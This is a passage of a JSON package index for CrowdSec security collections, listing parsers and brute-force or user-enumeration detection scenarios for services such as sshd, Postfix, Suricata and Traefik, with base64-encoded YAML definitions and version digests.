WdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvbmdpbngtcHJveHktbWFuYWdlci1sb2dzCmNvbGxlY3Rpb25zOgogIC0gY3Jvd2RzZWN1cml0eS9iYXNlLWh0dHAtc2NlbmFyaW9zCmRlc2NyaXB0aW9uOiAiTmdpbnggUHJveHkgTWFuYWdlciBzdXBwb3J0IDogcGFyc2VyIGFuZCBnZW5lcmljIGh0dHAgc2NlbmFyaW9zIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBuZ2lueAogIC0gbmdpbngtcHJveHkKICAtIGNyYXdsCiAgLSBzY2Fu", "description": "Nginx Proxy Manager support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/nginx-proxy-manager-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/odoo": { "path": "collections/crowdsecurity/odoo.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7b9b2323ffda7ffd8a48aea52b8424bc12a58d0047bb9bebb2cf030c5fa088c9", "deprecated": false } }, "long_description": "IyMgT2RvbyBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gZGVmZW5kIE9kb28gYWdhaW5zdCBjb21tb24gYXR0YWNrczoKIC0gT2RvbyBhdXRoZW50aWNhdGlvbiBmYWlsdXJlcyBwYXJzZXIKIC0gZGV0ZWN0IGJydXRlZm9yY2UKIC0gZGV0ZWN0IHVzZXIgZW51bWVyYXRpb24KCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvb2Rvby8qLmxvZwpsYWJlbHM6CiAgdHlwZTogb2RvbwpgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvb2Rvby1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvb2Rvby1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJPZG9vIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlL3VzZXIgZW51bWVyYXRpb24gZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGVycAogIC0gb2RvbwogIC0gYnJ1dGVmb3JjZQo=", "description": "Odoo support : parser and brute-force/user enumeration detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/odoo-logs" ], "scenarios": [ "crowdsecurity/odoo-bf_user-enum" ] }, "crowdsecurity/opnsense": { "path": "collections/crowdsecurity/opnsense.yaml", "version": "0.3", "versions": { "0.1": { "digest": "2e389ca4cda774d45d19657579cee7bd735b62147875f333b8cd072ed4b91a04", "deprecated": false }, "0.2": { "digest": "bfac0c94acc89565c80ed1be59b655d8ba718b0b0097bf9da378ee4f24a4d02d", "deprecated": false }, "0.3": { "digest": "754157043e75342b8d6f4e0ae195657027473055072f7d22720d557a2f2e1c0d", "deprecated": false } }, "long_description": "IyMgT1BOU2Vuc2UgY29sbGVjdGlvbgoKVGhpcyBPUE5TZW5zZSBjb2xsZWN0aW9uIHN1cHBvcnRzIDoKIC0gc3NoIHBhcnNlcnMgJiBicnV0ZWZvcmNlIGRldGVjdGlvbgogLSB3ZWIgYXV0aGVudGljYXRpb24gYnJ1dGVmb3JjZSBkZXRlY3Rpb24K", "content": "Y29sbGVjdGlvbnM6CiAgLSBjcm93ZHNlY3VyaXR5L2ZyZWVic2QKICAtIGNyb3dkc2VjdXJpdHkvb3Buc2Vuc2UtZ3VpCmRlc2NyaXB0aW9uOiAiY29yZSBvcG5zZW5zZSBzdXBwb3J0IgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGZyZWVic2QK", "description": "core opnsense support", "author": "crowdsecurity", "labels": null, "collections": [ "crowdsecurity/freebsd", "crowdsecurity/opnsense-gui" ] }, "crowdsecurity/opnsense-gui": { "path": "collections/crowdsecurity/opnsense-gui.yaml", "version": "0.1", "versions": { "0.1": { "digest": "91be3b0655e3de8a1c82787dadf1521c1ad1489e5798b5b9e2cdf3df0fc7cd1d", "deprecated": false } }, "long_description": "IyMgT1BOU2Vuc2Ugd2ViIGF1dGhlbnRpY2F0aW9uIGNvbGxlY3Rpb24KClN1cHBvcnQgdG8gZGV0ZWN0IGJydXRlZm9yY2Ugb24gdGhlIE9QTlNlbnNlIHdlYiBwb3J0YWwK", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvb3Buc2Vuc2UtZ3VpLWxvZ3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9vcG5zZW5zZS1ndWktYmYKZGVzY3JpcHRpb246ICJPUE5TZW5zZSB3ZWIgYXV0aGVudGljYXRpb24gc3VwcG9ydCIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBmcmVlYnNkCiAgLSBvcG5zZW5zZQogIC0gYnJ1dGVmb3JjZQogIC0gc2NhbgoKCg==", "description": "OPNSense web authentication support", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/opnsense-gui-logs" ], "scenarios": [ "crowdsecurity/opnsense-gui-bf" ] }, "crowdsecurity/pgsql": { "path": "collections/crowdsecurity/pgsql.yaml", "version": "0.1", "versions": { "0.1": { "digest": "78408615dfdfa97075b37dc7533b3d682b57293053aae5522ee3cd7b5825be02", "deprecated": false } }, "long_description": "IyMgUG9zdGdyZVNRTCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIHBvc3RncmVzcWwgc2VydmljZXMgOgogLSBwZ3NxbCBsb2dzIHBhcnNlcgogLSBicnV0ZWZvcmNlIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL3Bvc3RncmVzcWwvKi5sb2cKbGFiZWxzOgogIHR5cGU6IHBvc3RncmVzCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvcGdzcWwtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L3Bnc3FsLWJmCmRlc2NyaXB0aW9uOiAicG9zdGdyZXMgc3VwcG9ydCA6IGxvZ3MgYW5kIGJydXRlLWZvcmNlIHNjZW5hcmlvcyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gcGdzcWwKICAtIHBvc3RncmVzCiAgLSBicnV0ZWZvcmNlCg==", "description": "postgres support : logs and brute-force scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/pgsql-logs" ], "scenarios": [ "crowdsecurity/pgsql-bf" ] }, "crowdsecurity/postfix": { "path": "collections/crowdsecurity/postfix.yaml", "version": "0.2", "versions": { "0.1": { "digest": "81767bab91a7a071d8d32f3227f2391744eef5ba6a4cf916a96ec8183d050ae0", "deprecated": false }, "0.2": { "digest": "b4cceea527807a9fe70f673ef34e0d7d4372267d665fbbe164f0d6a1a3531a2e", "deprecated": false } }, "long_description": "IyMgUG9zdGZpeCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIHBvc3RmaXgKICogcG9zdGZpeCBsb2cgcGFyc2VycwogKiBwb3N0c2NyZWVuIGxvZyBwYXJzZXIKICogcG9zdGZpeCBzY2VuYXJpbyBicnV0ZWZvcmNlIHNwYW0gYXR0ZW1wdAogKiBwb3N0c2NyZWVuIHJiIGF0dGVtcHQgYmxhY2tsaXN0CgpUaGlzIGNvbGxlY3Rpb24gbW9zdGx5IGFpbXMgYXQgZ2V0dGluZyBhIHNpbWlsYXIgc3BhbSBwcm90ZWN0aW9uIGFzCnRoZSBub3JtYWwgZmFpbDJiYW4gcG9zdGZpeCBjb25maWd1cmF0aW9uIGFsdGhvdWdoIHBvc3RjcmVlbiBsb2cKbWFuYWdlbWVudCBpc24ndCBpbmNsdWRlZCBieSBkZWZhdWx0IGJ5IGZhaWwyYmFuLgoKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9tYWlsLmxvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvcG9zdGZpeC1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L3Bvc3RzY3JlZW4tbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L3Bvc3RmaXgtc3BhbQpkZXNjcmlwdGlvbjogInBvc3RmaXggc3VwcG9ydCA6IHBhcnNlciBhbmQgc3BhbW1lciBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHNwYW0KICAtIGJydXRlZm9yY2UK", "description": "postfix support : parser and spammer detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/postfix-logs", "crowdsecurity/postscreen-logs" ], "scenarios": [ "crowdsecurity/postfix-spam" ] }, "crowdsecurity/proftpd": { "path": "collections/crowdsecurity/proftpd.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6f98f64784109c356578bf50c7b296c5936bddfd5a206f25d39f92f504ea04ad", "deprecated": false } }, "long_description": "IyMgUHJvRlRQRCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gZGVmZW5kIHByb2Z0cGQgYWdhaW5zdCBjb21tb24gYXR0YWNrczoKIC0gcHJvZnRwZCBwYXJzZXIKIC0gZGV0ZWN0IGJydXRlZm9yY2UKIC0gZGV0ZWN0IHVzZXIgZW51bWVyYXRpb24KCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvcHJvZnRwZC8qLmxvZwpsYWJlbHM6CiAgdHlwZTogcHJvZnRwZApgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvcHJvZnRwZC1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvcHJvZnRwZC1iZgogIC0gY3Jvd2RzZWN1cml0eS9wcm9mdHBkLWJmX3VzZXItZW51bQpkZXNjcmlwdGlvbjogInByb2Z0cGQgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UvdXNlciBlbnVtZXJhdGlvbiBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHByb2Z0cGQKICAtIGJydXRlZm9yY2UKCg==", "description": "proftpd support : parser and brute-force/user enumeration detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/proftpd-logs" ], "scenarios": [ "crowdsecurity/proftpd-bf", "crowdsecurity/proftpd-bf_user-enum" ] }, "crowdsecurity/smb": { "path": "collections/crowdsecurity/smb.yaml", "version": "0.1", "versions": { "0.1": { "digest": "9b87e4588319834b833778cc10602d906194d96b3fd6f8fdd8d1db7adf1a4abe", "deprecated": false } }, "long_description": "IyMgU01CIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiB0byBkZWZlbmQgc21iIGFnYWluc3QgY29tbW9uIGF0dGFja3M6CiAtIHNtYiBwYXJzZXIKIC0gZGV0ZWN0IGJydXRlZm9yY2UKCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvc2FtYmEvbG9nLioKbGFiZWxzOgogIHR5cGU6IHNtYgpgYGAKCgpub3RlcyA6CiAtICBZb3UgbWF5IHRhcmdldCBhIG1vcmUgc3BlY2lmaWMgbG9nLCB1c3VhbHkgbG9nLjxET01BSU4+CiAtICBCZSBzdXJlIHRvIGhhdmUgdGhlIGFwcHJvcHJpYXRlIGxvZyBsZXZlbCBpbiB5b3VyIHNtYi5jb25mCiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc21iLWxvZ3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9zbWItYmYKZGVzY3JpcHRpb246ICJzbWIgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2Ugc2NlbmFyaW8iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHNtYgogIC0gYnJ1dGVmb3JjZQoK", "description": "smb support : parser and brute-force scenario", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/smb-logs" ], "scenarios": [ "crowdsecurity/smb-bf" ] }, "crowdsecurity/sshd": { "path": "collections/crowdsecurity/sshd.yaml", "version": "0.2", "versions": { "0.1": { "digest": "21159aeb87529efcf1a5033f720413d5321a6451bab679a999f7f01a7aa972b3", "deprecated": false }, "0.2": { "digest": "72f6329808fafbb42da52cc6476a6e794d0a1ae5b3847e0060cf23593dd40352", "deprecated": false } }, "long_description": "IyMgU1NIRCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gdG8gZGVmZW5kIHNzaGQgYWdhaW5zdCBjb21tb24gYXR0YWNrcyA6CiAtIHNzaCBwYXJzZXIKIC0gc3NoIGJydXRlZm9yY2UgJiBlbnVtZXJhdGlvbiBkZXRlY3Rpb24KIC0gc3NoICdzbG93JyBicnV0ZWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvYXV0aC5sb2cKbGFiZWxzOgogIHR5cGU6IHN5c2xvZwpgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24KCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3NoZC1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvc3NoLWJmCiAgLSBjcm93ZHNlY3VyaXR5L3NzaC1zbG93LWJmCmRlc2NyaXB0aW9uOiAic3NoZCBzdXBwb3J0IDogcGFyc2VyIGFuZCBicnV0ZS1mb3JjZSBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIHNzaAogIC0gYnJ1dGVmb3JjZQoK", "description": "sshd support : parser and brute-force detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/sshd-logs" ], "scenarios": [ "crowdsecurity/ssh-bf", "crowdsecurity/ssh-slow-bf" ] }, "crowdsecurity/suricata": { "path": "collections/crowdsecurity/suricata.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6f5d4ed7c676be6082af86c8ff771a063808a5970cb56edb9c8161c9b8390466", "deprecated": false } }, "long_description": "IyMgU3VyaWNhdGEgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciB0aGUgW1N1cmljYXRhXShodHRwczovL3N1cmljYXRhLmlvLykgSURTL0lQUy4KVGhpcyBjb2xsZWN0aW9uIGNvbnRhaW5zIDoKIC0gUGFyc2VycyBmb3IgU3VyaWNhdGEgbG9ncyAoYm90aCBgZmFzdC5sb2dgIGFuZCBgZXZlLmpzb25gIGZvcm1hdHMpCiAtIFNjZW5hcmlvcyBmb3IgU3VyaWNhdGEgYWxlcnRzIDoKICAgLSB0cmlnZ2VyIGJhbiBvbiAqTWFqb3IqIChzZXZlcml0eToxKSBydWxlcwogICAtIHRyaWdnZXIgYmFuIG9uID4yICoqZGlzdGluY3QqKiBydWxlcyBvZiBzZXZlcml0eSAyCgoKTm90ZTogVGVzdGVkIHdpdGggU3VyaWNhdGEgNgoKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZTogL3Zhci9sb2cvc3VyaWNhdGEvZXZlLmpzb24KbGFiZWxzOgogIHR5cGU6IHN1cmljYXRhLWV2ZWxvZ3MKYGBgCgoqKm9yKioKCmBgYHlhbWwKZmlsZW5hbWU6IC92YXIvbG9nL3N1cmljYXRhL2Zhc3QubG9nCmxhYmVsczoKICB0eXBlOiBzdXJpY2F0YS1mYXN0bG9ncwpgYGAKCm5vdGVzIDoKIC0gVXNpbmcgYm90aCBhY3F1aXNpdGlvbnMgc2ltdWx0YW5lb3VzbHkgd2lsbCBsZWFkIHRvIGRvdWJsZSBkZWNpc2lvbnMgb3IgdW5wcmVkaWN0YWJsZSBiZWhhdmlvci4gYGV2ZS5qc29uYCBzaG91bGQgYmUgcHJlZmVycmVkLgogLSBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3VyaWNhdGEtbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L3N1cmljYXRhLWFsZXJ0cwpkZXNjcmlwdGlvbjogInN1cmljYXRhIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGF1dG9tYXRpYyByZW1lZGlhdGlvbiBvbiBoaWdoL21ham9yIGFsZXJ0cyIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gc3VyaWNhdGEKICAtIElEUwoK", "description": "suricata support : parser and automatic remediation on high/major alerts", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/suricata-logs" ], "scenarios": [ "crowdsecurity/suricata-alerts" ] }, "crowdsecurity/synology-dsm": { "path": "collections/crowdsecurity/synology-dsm.yaml", "version": "0.2", "versions": { "0.1": { "digest": "cdd3722569d65100a93620001b867e7932407410b7de78b56f88c7a721f61ac6", "deprecated": false }, "0.2": { "digest": "6a2b5e562f0b6a4b9f1c03a05c73985e5326b7fa6d910f74a698fe182a951004", "deprecated": false } }, "long_description": "IyMgU3lub2xvZ3kgRFNNIGNvbGxlY3Rpb24KClRoaXMgU3lub2xvZ3kgRFNNIGNvbGxlY3Rpb24gc3VwcG9ydHMgOgogLSB3ZWIgYXV0aGVudGljYXRpb24gYnJ1dGVmb3JjZSBkZXRlY3Rpb24KCg==", "content": "IyBTeW5vbG9neSBEU00gcGFyc2VycwpwYXJzZXJzOgogIC0gY3Jvd2RzZWN1cml0eS9zeW5vbG9neS1kc20tbG9ncwojIFN5bm9sb2d5IERTTSBjb2xsZWN0aW9ucwojY29sbGVjdGlvbnM6CiMgIC0gCiMgdGhlIGxpc3Qgb2YgcG9zdG92ZXJmbG93cyBpdCBjb250YWlucwojIHBvc3RvdmVyZmxvd3M6CiMgICAtIGNyb3dkc2VjdXJpdHkvc2VvLWJvdHMtd2hpdGVsaXN0CiMgdGhlIGxpc3Qgb2Ygc2NlbmFyaW9zIGl0IGNvbnRhaW5zCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvc3lub2xvZ3ktZHNtLWJmCmRlc2NyaXB0aW9uOiAiU3lub2xvZ3kgRFNNIHdlYiBhdXRoZW50aWNhdGlvbiBzdXBwb3J0IgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSBzeW5vbG9neQogIC0gYnJ1dGVmb3JjZQogIC0gc2Nhbgo=", "description": "Synology DSM web authentication support", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/synology-dsm-logs" ], "scenarios": [ "crowdsecurity/synology-dsm-bf" ] }, "crowdsecurity/teamspeak3": { "path": "collections/crowdsecurity/teamspeak3.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d5012c6747469f7c7d8dbf6f3f1e156593911d490b4cbe8f9cad237865858c7e", "deprecated": false } }, "long_description": "IyMgVGVhbXNwZWFrMyBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIHRoZSBbVGVhbVNwZWFrXShodHRwczovL3RlYW1zcGVhay5jb20vZW4vKSBzZXJ2ZXIuClRoaXMgY29sbGVjdGlvbiBjb250YWlucyA6CiAtIFBhcnNlcnMgZm9yIFRlYW1TcGVhayBsb2dzCiAtIFNjZW5hcmlvIHRvIGRldGVjdCBicnV0ZSBmb3JjZSBhdHRhY2tzCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Vzci9sb2NhbC90ZWFtc3BlYWsvbG9ncy90czNzZXJ2ZXJfKi5sb2cKICAtIC9ob21lL3RlYW1zcGVhay9sb2cvc2VydmVyL3RzM3NlcnZlcl8qLmxvZwpsYWJlbHM6CiAgdHlwZTogdHMzCmBgYAoKbm90ZXMgOgogLSBUZWFtc3BlYWsgZG9lc24ndCBwcm92aWRlIGEgc3RhbmRhcmQgaW5zdGFsbGVyLCBzbyB0aGUgbG9nIHBhdGggaXMgcmVsYXRpdmUgdG8geW91ciBzZXR1cAo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvdGVhbXNwZWFrMy1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvdGVhbXNwZWFrMy1iZgpkZXNjcmlwdGlvbjogInRlYW1zcGVhazMgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGxpbnV4CiAgLSB0ZWFtc3BlYWszCiAgLSBicnV0ZWZvcmNlCg==", "description": "teamspeak3 support : parser and brute-force detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/teamspeak3-logs" ], "scenarios": [ "crowdsecurity/teamspeak3-bf" ] }, "crowdsecurity/thehive": { "path": "collections/crowdsecurity/thehive.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3d6910c9ee4fd1c7395018de8ecd98a9128c858eb8799e631b754055711b1c29", "deprecated": false } }, "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvdGhlaGl2ZS1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvdGhlaGl2ZS1iZgpkZXNjcmlwdGlvbjogIlRoZWhpdmUgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIHNvYwogIC0gc2VjdXJpdHkKICAtIHRoZWhpdmUKICAtIGJydXRlZm9yY2UK", "description": "Thehive support : parser and brute-force detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/thehive-logs" ], "scenarios": [ "crowdsecurity/thehive-bf" ] }, "crowdsecurity/traefik": { "path": "collections/crowdsecurity/traefik.yaml", "version": "0.1", "versions": { "0.1": { "digest": "b7b9feedcd49009ce80e4ab12c2642e68054222a7e7bb8611f2f45d5d3600ef2", "deprecated": false } }, "long_description": "IyMgVHJhZWZpayBjb2xsZWN0aW9uCgo+IENvLWF1dGhvcmVkIHdpdGggKGh0dHBzOi8vZ2l0aHViLmNvbS9nbWVsb2RpZSkKCkEgY29sbGVjdGlvbiB0byBkZWZlbmQgdHJhZWZpayBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzOgogLSB0cmFlZmlrIHBhcnNlciAoc3VwcG9ydHMgQ0xGIGFuZCBKU09OKQogLSBiYXNlIGh0dHAgc2NlbmFyaW9zIChjcmF3bCwgNDA0IHNjYW4sIGJmKQoKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy90cmFlZmlrLyoubG9nCmxhYmVsczoKICB0eXBlOiB0cmFlZmlrCmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "IyBjby1hdXRob3JlZCB3aXRoIGdtZWxvZGllIChodHRwczovL2dpdGh1Yi5jb20vZ21lbG9kaWUpCnBhcnNlcnM6CiAgLSBjcm93ZHNlY3VyaXR5L3RyYWVmaWstbG9ncwpjb2xsZWN0aW9uczoKICAtIGNyb3dkc2VjdXJpdHkvYmFzZS1odHRwLXNjZW5hcmlvcwpkZXNjcmlwdGlvbjogInRyYWVmaWsgc3VwcG9ydDogcGFyc2VyIGFuZCBnZW5lcmljIGh0dHAgc2NlbmFyaW9zIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIHRyYWVmaWsKICAtIGh0dHAKICAtIGJydXRlZm9yY2UKCg==", "description": "traefik support: parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/traefik-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/unifi": { "path": "collections/crowdsecurity/unifi.yaml", "version": "0.1", "versions": { "0.1": { "digest": 